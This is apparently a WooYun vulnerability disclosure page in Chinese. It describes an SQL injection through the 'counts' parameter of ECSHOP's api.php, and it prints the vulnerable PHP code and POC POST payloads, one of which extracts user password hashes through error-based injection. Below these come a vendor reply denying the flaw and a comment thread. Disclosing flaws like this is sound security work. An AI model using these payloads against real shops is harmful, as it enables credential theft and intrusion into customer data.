当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053611

漏洞标题:ECSHOP最新版SQL注入漏洞

相关厂商:ShopEx

漏洞作者: felixk3y

提交时间:2014-03-14 14:47

修复时间:2014-06-09 14:47

公开时间:2014-06-09 14:47

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-14: 细节已通知厂商并且等待厂商处理中
2014-03-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-05-08: 细节向核心白帽子及相关领域专家公开
2014-05-18: 细节向普通白帽子公开
2014-05-28: 细节向实习白帽子公开
2014-06-09: 细节向公众公开

简要描述:

昨天上午没事,闲着 下载了最新版的ecshop 想挑战挑战自己...
下午 客服美眉打电话来,询问下载ECSHOP的目的,哈哈.. 别说 声音挺甜的...
为了抢我的IPAD ,看来还必须赚RANK啊...

详细说明:

注:需要网店店主权限
#1 漏洞代码
这个漏洞比较简单,也许是开发人员疏忽了吧...

if (is_numeric($_POST['last_modify_st_time']) && is_numeric($_POST['last_modify_en_time']))
{
$sql = 'SELECT COUNT(*) AS count' .
' FROM ' . $GLOBALS['ecs']->table('goods') .
" WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)";
$date_count = $GLOBALS['db']->getRow($sql);
if (empty($date_count))
{
api_err('0x003', 'no data to back'); //无符合条件数据
}
$page = empty($_POST['pages']) ? 1 : $_POST['pages']; //确定读取哪些记录
$counts = empty($_POST['counts']) ? 100 : $_POST['counts']; //我肋个去,这里居然没过滤...
$sql = 'SELECT goods_id, last_update AS last_modify' .
' FROM ' . $GLOBALS['ecs']->table('goods') .
" WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)".
" LIMIT ".($page - 1) * $counts . ', ' . $counts;//我肋个天,居然就这样带入了sql语句...
//exit($sql);
$date_arr = $GLOBALS['db']->getAll($sql);//OH! My god,居然就这样直接查询了...


在这段代码中,POST过来的counts参数

$counts = empty($_POST['counts']) ? 100 : $_POST['counts'];


可以看出来,这里没有经过任何的过滤,接着往下看

$sql = 'SELECT goods_id, last_update AS last_modify' .
' FROM ' . $GLOBALS['ecs']->table('goods') .
" WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)".
" LIMIT ".($page - 1) * $counts . ', ' . $counts;//我肋个天,居然就这样带入了sql语句...


看见了没有,我肋个天,居然就这样带入了sql语句...
后面直接执行了...

$date_arr = $GLOBALS['db']->getAll($sql);


#2 漏洞利用
这个漏洞比较简单,下面给出漏洞利用POC
Step1 访问:http://www.secmap.cn/ecshop/api.php
同时POST提交

ac=true&act=search_goods_list&last_modify_st_time=111&last_modify_en_time=1&api_version=1.0&pages=1&counts=1 union select count(*)  from (select 1 union select null union select !1)x group by  concat((select password from ecs_users limit 1),floor(rand(0)*2)) -- s


结果报错了,如图:

1.jpg

漏洞证明:

#3 漏洞证明

counts=1 union select user(),version()#23


2.jpg

修复方案:

过滤,同时请注意细节问题,希望以后别再出这样低级的错误,谢谢。

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-06-09 14:47

厂商回复:

非常感谢您为shopex信息安全做的贡献
该问题经过测试不存在,对于API操作做过验证
谢谢

最新状态:

暂无


漏洞评价:

评论

  1. 2014-03-14 14:50 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    我草

  2. 2014-03-14 14:51 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    要火

  3. 2014-03-14 14:52 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    @felixk3y 你咋回答的?

  4. 2014-03-14 14:56 | 马燕羊蝎子 ( 实习白帽子 | Rank:83 漏洞数:10 | 亲,啥时候请吃马燕羊蝎子。)

    那个谁,买跳蛋的信息要泄露了。

  5. 2014-03-14 15:00 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    1WWWWWWWWWWWWWWWA

  6. 2014-03-14 15:07 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    。。。洞主这漏洞可以买3个ipad了。。。

  7. 2014-03-14 15:16 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    关注

  8. 2014-03-14 15:33 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    厂商确认不存在?

  9. 2014-03-14 16:09 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    @xsser 是存在肯定的,刚翻了下google 原来这个洞早在2010年就爆过,不知道为什么到现在都还没修复。

  10. 2014-03-14 16:09 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    api 注入之前不是包过了吗?

  11. 2014-03-14 16:39 | 东方的肚皮舞 ( 路人 | Rank:1 漏洞数:2 | 社区变了。)

    我的钱

  12. 2014-03-14 16:39 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    @felixk3y 去后台打全补丁了吗

  13. 2014-03-14 16:43 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @pandas 下最新版也有问题

  14. 2014-03-14 16:46 | ShopEx(乌云厂商)

    @xsser 在API操作前有做过check_auth验证

  15. 2014-03-14 16:49 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @ShopEx 这个auth要求什么权限

  16. 2014-03-14 17:01 | ShopEx(乌云厂商)

    @xsser 需要POST token

  17. 2014-03-14 17:08 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    http://www.vfocus.net/art/20101116/8254.html看来是这个了

  18. 2014-03-14 17:17 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)

    @pandas @xsser 不是这个? WooYun: ecshop2.73 api.php 两处鸡肋注入

  19. 2014-03-14 17:40 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    失误啊

  20. 2014-03-15 00:16 | 白狼 ( 路人 | Rank:2 漏洞数:1 | 黑客五项我通了四项)

    不存在。。。。。。。

  21. 2014-03-17 10:50 | kelon ( 实习白帽子 | Rank:73 漏洞数:9 )

    check_auth 要这个啊

  22. 2014-07-03 18:36 | 老黑 ( 普通白帽子 | Rank:161 漏洞数:61 | 最爱红颜不老。)

    根本不存在这洞 新版本早没了